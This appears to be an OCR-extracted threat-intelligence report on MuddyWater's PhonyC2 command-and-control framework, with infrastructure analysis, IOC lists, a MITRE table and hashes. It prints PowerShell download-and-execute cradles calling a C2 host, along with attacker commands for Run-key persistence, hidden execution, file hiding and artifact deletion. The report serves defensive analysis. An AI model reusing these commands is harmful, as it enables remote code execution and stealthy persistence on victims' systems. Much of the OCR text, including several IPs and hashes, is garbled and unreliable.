Tex m.Convert ing( ' IFY9bmV3LWSLanVjdCBUZXQuU2ViY2XpZW500
HorMOHE5 1dCSDenVZH SO ol Q2F

ri 1: RWLNBYb3h5PVt!
vdo$ in E*thumo;z LZCVadcAhoHAT IF M5 FYGRG mevalRTdHprm(uJ 2h0dHA6LY8xNzIUMTYuTYyL j

TQuMi90amYnKTtIRVgoIHMp ' )))
+Powershell J0B + Flle +SCT Payload+
Encoding] II.Getstring([Systen.Convert]::FronBase6as

x( ring( ' IFYSbmV3LWILanVjdCBUZXQUA2VLY2X pZWSOOYRWLNBY b3hSPVL:
RBHMSHO 5 14C SDEMVZH 56 aHF SQ21 aGVd0 Ip EZWZhA I1ZGVudGLhbHM7IFMOIFYUR

3bmxvYWRTdHIpbncoI2hedHA6LY8XNZ TUMTYUMTYyL JEGMTQWML90anzzIyk7SUVYKCRZK
-+ Powershell sinple payloads +
[ = (bt Qe abeblans). Bl Sl ¢ R 72, d0 AR A e el e Gt Gy
n "IEX(New-Obje ebClient).Downloadstring('http://172.16.162.1:1402/get "
-w hidden "Invoke-Expre e iaers Gbject Net.Webelient ) Downloadstringl heep: /172,16, 162.1:14082/get
4oeeeen - - +
(muddyc3
Command

Figure 27: MuddyC3 output, see figure 10; similarities with PhonyC2

main) help
Descrintion

NZXQNKTtIRVG:

QUV2ViUmVxdWVzdFe60kd1dFNS:

QuV2VLUNVxdWVzdFo6okdLdFNs
b))

£0ZXQUV2VLUMVxdWVzdFOE0kdLdFNS c3R1bVALY1B;

03HMP')))}

645tring( ' IFYObmV3LWOLanV JdCBUZXQUAVLY2XpZWS00YRHLNBYb3h 5PV LOZXQUV2VLUNYX dWVzdFesokd
hodHAGLY 8x Nz TUMTYUMTYyL JEGMTQWMLONZXQNKT tIRVGOIHMP ' ))) "

-Windows

€3R1bVA1Y1Byb3hSKCk7 IFYUUHIveHkuQ33

3R1bVA1Y1Byb3h5KCk7IFYUUHIveHkuQ3d
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https://github.com/ahmedkhlief/muddyc3-Revived/

With the knowledge we gathered from investigating the source code of PhonyC2 we believe that PhonyC2 is a
successor to MuddyC3 and POWERSTATS.

We investigated prior MuddyWater intrusions to identify when PhonyC2 was first used and we found that on
November 29, 2021, the IP address 87.236.212[.]22 responded with obfuscated payload which we believe is an early
variant of Phony C2 written in Python2. For proof, we can see comments left in figure 4 by the threat actor requesting
code changes for the script to work with Python3.

The obfuscated payload was saved to a file named “data.sqlite” which is remarkably similar to the file name used in
PhonyC2. In addition, the obfuscated payload has the same comma separated delimiter that is in the current
PhonyC2 payloads, and the decoding routine is different from the most recent one.

In figures 6 and 8 the string “apiy7” is commented out in the code. We found a submission of a URL from March 2022
containing that string, meaning this was a PhonyC2 server, but with an earlier version than the current V6 that is
described in this blog.

The IP address of this URL is 137.74.131[.]30. It is mentioned in the Group-IB report as having "ETag 2aa6-
5c939a3a79153."

178.32.30[.]3 is another IP address that had both the “apiy7” string and "ETag 2aa6-5¢939a3a79153." It is also
referenced in a blog by Talos detailing MuddyWater activity, published in March. However, we can’t confirm if the
activity is related to PhonyC2. The first confirmation of PhonyC2 on this server is a URL scan from August which
contained the “apiy7” string. The same IP address had another scan in August, which revealed a custom error
message that revealed additional PhonyC2 servers. Pivoting from those additional servers, we were able to find
additional PhonyC2 servers with the string “apiv4” from March 2022 through May 2022 that pre-date the “apiy7”
PhonyC2 version.

The IP address 91.121.240[.]104 contained both “apiy7” string and "ETag 2aa6-5c939a3a79153." It was confirmed by
Microsoft as an IP address used by MuddyWater to exploit the log4j vulnerability in the Israeli SysAid software,
confirming that the PhonyC2 was used in those attacks as well.

During our research we uncovered PhonyC2 servers with different ETag values or no ETag at all. We suspect that the
occurrence of servers with same ETag value originate from duplication of the server image by the VPS provider.
Therefore, this method might work occasionally but will be of value mostly for historical purposes.

As we mentioned in the “Server Analysis” section, in Figure 2 and Figure 3 are two |IP addresses. 194.61.121[.]86
and 45.86.230[.]20 that were confirmed by Microsoft as MuddyWater’s C2 servers used in the Technion hack. While
we can’t confirm whether 45.86.230[.]20 was running PhonyC2, both 46.249.35[.]243 and 194.61.121[.]86 that are
listed in Microsoft’s report were hosting PhonyC2 V6 based on URL patterns that we have seen in the python source
code.

Another interesting commonality we have observed in MuddyWater’s operations is the use of “core.” In MuddyC3
there is a directory named “core” and in PhonyC2 there is a directory called “isnotcore.” “core” is also referenced
several times in the code (see figures 4-8). From our analysis, the PowGoop C2 servers had URL pattern of “Core?
Token=." We suspect that one of the servers, 164.132.237[.]79, running PowGoop, might be still controlled by
MuddyWater. This IP is currently running Metasploit server, which MuddyWater is known to use.

Passive DNS resolution of this IP is showing the domain 6nc110821hdbl[.Jco. This domain was also resolving to two
other PowGoop servers:
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https://attack.mitre.org/software/S0223/
https://www.virustotal.com/gui/url/64ca9df12baf605dfddbcbcaeab7893b137852e44a1b63016037c2795402fa33/details
https://www.virustotal.com/gui/file/ec91ace1d7d49bcc32c1f67f8d472250eff06b4b994957d640ce1aad19fbc2fe/telemetry
https://www.virustotal.com/gui/url/762a6bea6a4c251d5a504aa1c7d9145a3a8b5676501cfe6094a47f6be0fc4f54/details
https://www.group-ib.com/blog/muddywater-infrastructure/
https://blog.talosintelligence.com/iranian-supergroup-muddywater/
https://www.virustotal.com/gui/url/2ee4dbb65712a5d69c3d27883ebf2bca0863f75a6de6d7bae838c0a1ffb30e1f/telemetry
https://urlscan.io/result/13bc31d3-497c-4db9-8de9-c202a87bf332/#transactions
https://www.virustotal.com/gui/file/901139c18316793982402c92d7ba27247b6b9202c29b55d8e1594cc6f6de94f6/relations
https://www.virustotal.com/gui/file/89eb5a9ded23cbea97d5ecea87747a08c85a3802b5d3d75b40bf89a67bb14b12/relations
https://www.microsoft.com/en-us/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/
https://www.virustotal.com/gui/url/5c6deca636a7f0793284ab1b327fb0e3a34ab7e3bc8f720a93be6f31c0b435e0/telemetry
https://www.virustotal.com/gui/url/9b771698da54502ed3a91dabd4fd170ee1b0b4779000d07a1cdbf70cc830bdcd/telemetry
https://github.com/ahmedkhlief/muddyc3-Revived/tree/master/core
https://www.security.ntt/blog/analysis-of-an-iranian-apts-e400-powgoop-variant
https://www.virustotal.com/gui/ip-address/96.8.121.193/relations

(i) No security vendors flagged this domain as malicious

6nc110821hdb.co

media sharing  dga

Community Score

DETECTION DETAILS RELATIONS COMMUNITY

Passive DNS Replication (4) @

Date resolved Detections Resolver IP
Georgia Institute of Techn
2022-08-15 5187 99.83.154. 118
ology
2021-08-17 4187 VirusTotal 51.255.19.179
2021-08-17 9/87 VirusTotal 164.132237.79
2021-08-17 6187 VirusTotal 5125519178

Figure 28: Passive DNS resolution for 6nc110821hdbl[.]Jco

Both of those servers, 51.255.19[.]178 and 51.255.19[.]179, were hosting SimpleHelp according to Group-IB. Group-
IB also listed many IPs from the 164.132.237.64/28 subnet as SimpleHelp servers, which makes it obvious that
164.132.237[.]79 is somehow related to MuddyWater activity as well. The 6nc110821hdbl[.]Jco domain name was
looking rather suspicious and after further investigation we have found an interesting pattern:

<3 letters><1 digit>[dot]6nc<date><optional 2 letters><optional incremented letter>[dot]co
We detected the following domain names that still have active hosts with passive DNS resolving.

6nc051221a[.]Jco
6nc051221c[.]co
6nc110821hdbl.Jco
6nc060821[.]Jco
6nc220721[.]Jco

We suspect that those domains represent infrastructure registered in 2021 by MuddyWater that are still active today.

There are additional domains where we did not find active infrastructure, such as 6nc051221b[.]Jco and
6nc110821hdal.]Jco. In the past, the latter was resolving to known MuddyWater infrastructure. “6nc” could be
interpreted as C&C (Six and C), which is an abbreviation to “Command and Control.”

At the beginning of May 2023, Microsoft's Twitter post mentioned they had observed MuddyWater exploiting CVE-
2023-27350 in the PaperCut print management software. While they did not share any new indicators, they noted that
MuddyWater was “using tools from prior intrusions to connect to their C2 infrastructure” and referenced their blog on
the Technion hack — which we already established was using PhonyC2. About the same time Sophos published
indicators from various PaperCut intrusions they have seen. Deep Instinct found that two IP addresses from those
intrusions are PhonyC2 servers based on URL patterns.

1) 185.254.37[.]173

This IP address was also hosting various payloads. While we could not retrieve most of them, we were able to
capture the directory listing of the server in Censys.
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https://www.group-ib.com/blog/muddywater-infrastructure/
https://twitter.com/MsftSecIntel/status/1654620023019933696
https://github.com/sophoslabs/IoCs/blob/master/papercut-nday-indicators-of-compromise.csv
https://www.virustotal.com/gui/url/0e2cb735ff93f0b22ed0f5d3a46a551fc2e892e3c6948b19f28e73b85888c88c/telemetry

Ceﬂsgs Q Hosts ~

services.http.request.uri
services.http.request.headers.Accept
services.hitp.request.headers.User_Agent
services.http.response.protocol
services.http.response.status_code
services.htp.response.status_reason
services.hitp.response.headers.Server
services.http.response.headers.Content_Length
services.http.response.headers.Content_Type
services.http.response.headers.Connection
services.http.response.headers.Date
services.hitp.response.htmi_tags

services.http.response.html_tags

* .{, -

http://185.254.37.173:8000/

ok

Mozilla/s5.0 (compatible; Censysinspect/1.1; +https:/about.censys.ie/)
HTTP/1.0

200

oK

SimpleHTTP/0.6 Python/3.10.6
549

text/html; charset=utf-8

close

<REDACTED=

<title=Directory listing for /=/title>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

services.http.response.body_size 549

services.http.response.body

<IDOCTYPE HTML PUBLIC "-#/W3C//DTD HTML 4.01/EN" "http://www.w3.org/TR/htmld/s

trict.dtd"=\n<html=\n<head=\n=meta http-equiv="Content-Type" content="text/html; chars
et=utf-8"=\n=title=Directery listing for /</title=\n</head=\n<body=\n<h1=Directory listing f
or /=/h1=\n<hr=\n<ul=\n<li=<a href="config jsp">config.jsp=/a==/li=\n<li=<a href="eh.msi">

<['a=</li=\n=li==a href="openssh.msi">openssh.msi</a==/li=\n<li><a href="pu.exe">

pu.exe</a=</li=\n=li=<a href="putty.exe">putty.exe</a=</li=\n=<li=<a href="Venom.exe">Ven

om.exe=/a></li=\n</ul>\n<hr=\n=/bady=\n</html>\n
services.http.response.body_hashes
services.hitp.response.body_hashes shal:32aealeabe26183d265c238fa1fffafbebd246cc
services.http.response.body_hash shal:32aea%eabe26183d265c238falfffafbebd246cc
services.hitp.response.htmi_litle Directory listing for /
services.http.supports_http2 false
services.observed_at 2023-05-16T20:58:04.316749120Z

Figure 29: Directory listing of 185.254.37[.]173

The file named eh.msi was uploaded to VirusTotal. This file is an installer for the eHorus remote access tool. The
exact same file was also mentioned by Mandiant as being used by a cluster of activity that overlaps with
MuddyWater. Additionally, the use of eHorus software by MuddyWater was observed by Microsoft and Symantec.

2) 45.159.248[.]1244

In this instance of PhonyC2, MuddyWater decided to use Port 53 for the server, which is normally reserved for DNS
use. This shows yet another attempt by MuddyWater to change their TTPs and conceal their malicious activity.

This is also the third overlap of PhonyC2 intersecting with Microsoft’s reporting on MuddyWater activity.

Looking Ahead

MuddyWater is continuously updating the C2 and changing TTPs to avoid detection, as can be seen throughout the
blog, and in the investigation of the leaked code of PhonyC2.

Deep Instinct has already observed a suspected instance of PhonyC2 that is using a newer code version than V6 that
was leaked in a URL scan on the IP 195.20.17[.]44:

HTTP Response @

Final URL
http://195.20.1 ?.44:444’56% 279519Ta41echfbbb98 3Ga20032f.g0?IENDL00 REEEU=ENOLOORGEGU

Serving IP Address
195.20.17.44

Status Code
200

Body Length
24.40 KB

Body SHA-256
c36ed911547beb82ad55753aa9707aaa79275010c5844bae25b437e6ddfcclT5
Figure 30: URL Scan of newer than V6 PhonyC2

sha256:097f019¢5741b50fb0ed26652732951ce2763ddBaee320997d395dc5155625b8
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https://www.virustotal.com/gui/file/18fdec81f212359abcd231e1f2614501d7f4ec8f8fbff6a68da4d6a5701bc6f6/relations
https://www.mandiant.com/resources/blog/telegram-malware-iranian-espionage
https://www.microsoft.com/en-us/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-campaign-telecoms-asia-middle-east
https://www.virustotal.com/gui/url/8bc6b5f3bbc36554435fbb66aa6fd3c8a2c58ed13437db6a41c10ab91aaa68ae/telemetry
https://www.virustotal.com/gui/url/d8d58de100a9a92b125a283842f8cd1288ee96205bdb2b55c07ce4845d06129c/detection

The part of the URL that is marked in red has been changed since PhonyC2 V6, the use of UUIDs has been
changed, and the “go” extension was added. The second part of the URL in green has not been changed from the V6
code.

The response to this scan is the following payload.

<TO0CTYPE Fenl>
<html>
<head>
<meta charset="utf-5">
<titlesannas/titles
</head>
>
[</6r></br3</br></br></bry</bry</br></br></bry</bry</bry</br</bry</bry</br</bry</bro< /bro</brs</ory< /br</bry</bro</bry</bro</bry</bry</bry</br></bry</bry</bry</bro< [bry</bry</bry</bry</bry</bry</br</bry</bry</bry</brs</br></bry</bry</bry</bry</br></t
</br></br></br></br></br></br></br></br>< [br></br></br>

S19((18,2((9211((3, 2((321(
(;21((9(C

IEigure 31: New PhonyC2 payload (see i:}gure 13 reference)

While the encoded payload (green) looks similar to what we have seen in V6, MuddyWatter added a benign HTML
code (red) to further conceal their activities. In PhonyC2 V6, the server response was solely the encoded payload
without any HTML. Furthermore, the server’s location of the IP address 195.20.17[.]44 is in Israel, and we suspect
this location was chosen on purpose to conceal network traffic in a targeted attacks against Israeli organizations.

While examining the subnet 195.20.17.0/24 of this newer PhonyC2 server we have observed many IP addresses that
are related to cybercrime. However, one of the IP addresses 195.20.17[.]183 had a passive DNS response of
am1211.iransos[.Jme. While we cannot confirm this IP address is related to MuddyWater, we suspect that the whole
subnet is leased to some Iranian VPS provider used by MuddyWater.

You can find the source code of PhonyC2 and the IOCs in our GitHub page.

MITRE:

Tactic Technique Description

T1071.001
Application m.?rr;,ytcz uses
(o]
gﬁfg‘:n’}‘rjol ILD?gteorcol' download http://46.249.35[.]1243:443/9b22685e-f173-4feb-95a4-c63daaf40c58.htmI?X9GFTRDEOZE
Web * obfuscated
Protocols payload
T1132.002 gy
Encoding: payload is
Nome "9 obfuscated ,15555554155555554,14((1414,1554(14(,1554(14(,15415554,1554(14(,1414(,154((154,1
Standard using a custom
Encoding encoding
Phony C2 has
195 the ability to
TO%I download http://46.249.35[.]243:443/9b22685e-f173-4feb-95a4-c63daafd0c58.htmI?X9GF TRDBOZE
Transfer payloads from
the C2 server
T1547.001
Boot or
;fj?g:tart Phony C2 has
Persistence Execution: ‘ah dedapbe”rlgsttcénce reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v NEW /d C:\intel\utils\ut
Eﬁglﬁgs/ mechanisem
Startup
Folder

T1059.001 Phony C2is
Command executed by
and PowerShell and
Scripting is executing
Interpreter: PowerShell
PowerShell commands

T1564.001 by 000 c2is

Hide setting hidden

Defense  Artifacts: . - . . .
Evasion Hidden gttrlbute to files attrib +h c:\programdata\db.sqlite

Files and
Directories
T1564.003 Phony C2 is

Hide executed to

Artifacts:  hide the powershell -EP BYPASS -NoP -W 1
Hidden PowerShell

Window  window

Execution powershell Start-Job -ScriptBlock {Invoke-WebRequest -UseDefaultCredentials -UseBasic

C:\ProgramData
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https://urlscan.io/responses/c36ed911547beb82ad55753aa9707aaa79275010c5844bae25b437e6ddfcc075/
https://urlscan.io/ip/195.20.17.183
https://github.com/deepinstinct/PhonyC2-MuddyWater-Research

Tactic Technique Description
T1070.004
Indicator  Phony C2
Removal: deletes files rm c:\programdata\db.sqlite ; rm c:\programdata\db.ps1
File after execution
Deletion
PhonyC2
T1112 creates registry
Modify entries to New-ItemProperty -Path "HKLM:SOFTWARE\ICXqEXISMHV" -Name "fmoopWgmBIla" -Ve
Registry  achieve
persistence
10C:
IP Address Description

45.159.248[.]244 PhonyC2 V6 (PaperCut)
91.121.240[.]104 "apiy7" PhonyC2 with ETag 2aa6-5c939a3a79153 (log4j)

195.20.17[.144
45.86.230[.]20
137.74.131[]30
178.32.30[.13
137.74.131[]24
46.249.35[.]243

Suspected as PhonyC2 V7

MuddyWater infrastructure related to PhonyC2 activity (DarkBit Technion)
"apiy7" PhonyC2 with ETag 2aa6-5c939a3a79153

"apiy7" PhonyC2

"apiv4" and/or "apiy7" PhonyC2 with ETag 2aa6-5c939a3a79153
PhonyC2 V6 (DarkBit Technion)

185.254.37[.]173 PhonyC2 V6 (PaperCut)

194.61.121[.]86
87.236.212[.]22

PhonyC2 V6 (DarkBit Technion)
Suspected first version of PhonyC2

91.235.234[.]130 PhonyC2 V6.zip

157.90.153[.]60
157.90.152[.]126
65.21.183[.]238
45.132.75[.]101
51.255.19[.]178
103.73.65[.]129
103.73.65[.1225
103.73.65[.]1244
103.73.65[.]1246
103.73.65[.]1253
137.74.131]16
137.74.131[]18
137.74.131]25

164.132.237[.]67 Suspected MuddyWater infrastructure (tes2.6nc051221a[.Jco

"apiv4" PhonyC2
"apiv4" PhonyC2
"apiv4" PhonyC2
Suspected MuddyWater infrastructure (edc1.6nc051221c][.]co)
Suspected MuddyWater infrastructure (pru2.6nc110821hdbl[.]co)
Suspected MuddyWater infrastructure (nno1.6nc060821[.]co)
Suspected MuddyWater infrastructure (nno3.6nc060821[.]co)
Suspected MuddyWater infrastructure (kwd1.6nc220721[.]co)
Suspected MuddyWater infrastructure (kwd2.6nc220721[.]co
Suspected MuddyWater infrastructure (kwd3.6nc220721[.]co
Suspected MuddyWater infrastructure (gjk1.6nc051221¢[.]co
Suspected MuddyWater infrastructure (gjk2.6nc051221c[.]co
Suspected MuddyWater infrastructure (qjk3.6nc051221c[.]co

_——_

-

164.132.237[.]79 Suspected MuddyWater infrastructure (pru1.6nc110821hdbl[.]co)

Samples of files generated by the framework (those are non-exhaustive):

SHA256 Description

7cb0cc6800772e240a12d1b87f9b7561412f44f01f6bb38829e84acbc8353b9¢c  db.ps1
5ca26988b37e8998e803a95e4e7e3102fed16€99353d040a5b22aa7e07438fea db.sqlite
1c95496da95ccb39d73dbbdf9088b57347f2c91cf79271ed4fe1e5da3eleb42a  utils.jse
2f14ce9e4e8b1808393ad090289b5fa287269a878bbb406b6930a6¢575d1f736 db.ps1
b4b3c3ee293046e2f670026a253dc39e863037b9474774ead6757fe27b0b63c1 db.sqlite
b38d036bbe2d902724db04123c87aeeat63c8ac4c877145ce8610618d8e6571f utils.jse

© 2023 Deep Instinct. All rights reserved.
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